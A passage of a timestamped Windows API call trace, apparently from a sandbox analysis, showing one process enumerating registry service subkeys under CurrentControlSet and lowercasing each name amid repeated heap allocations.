lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.842] RegCloseKey (hKey=0xc4) returned 0x0 [0259.842] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.842] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.842] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.842] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.843] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.843] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.843] RegCloseKey (hKey=0x150) returned 0x0 [0259.843] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.843] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d60, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.844] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d60, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0259.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.845] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.845] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d60, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.846] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.846] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 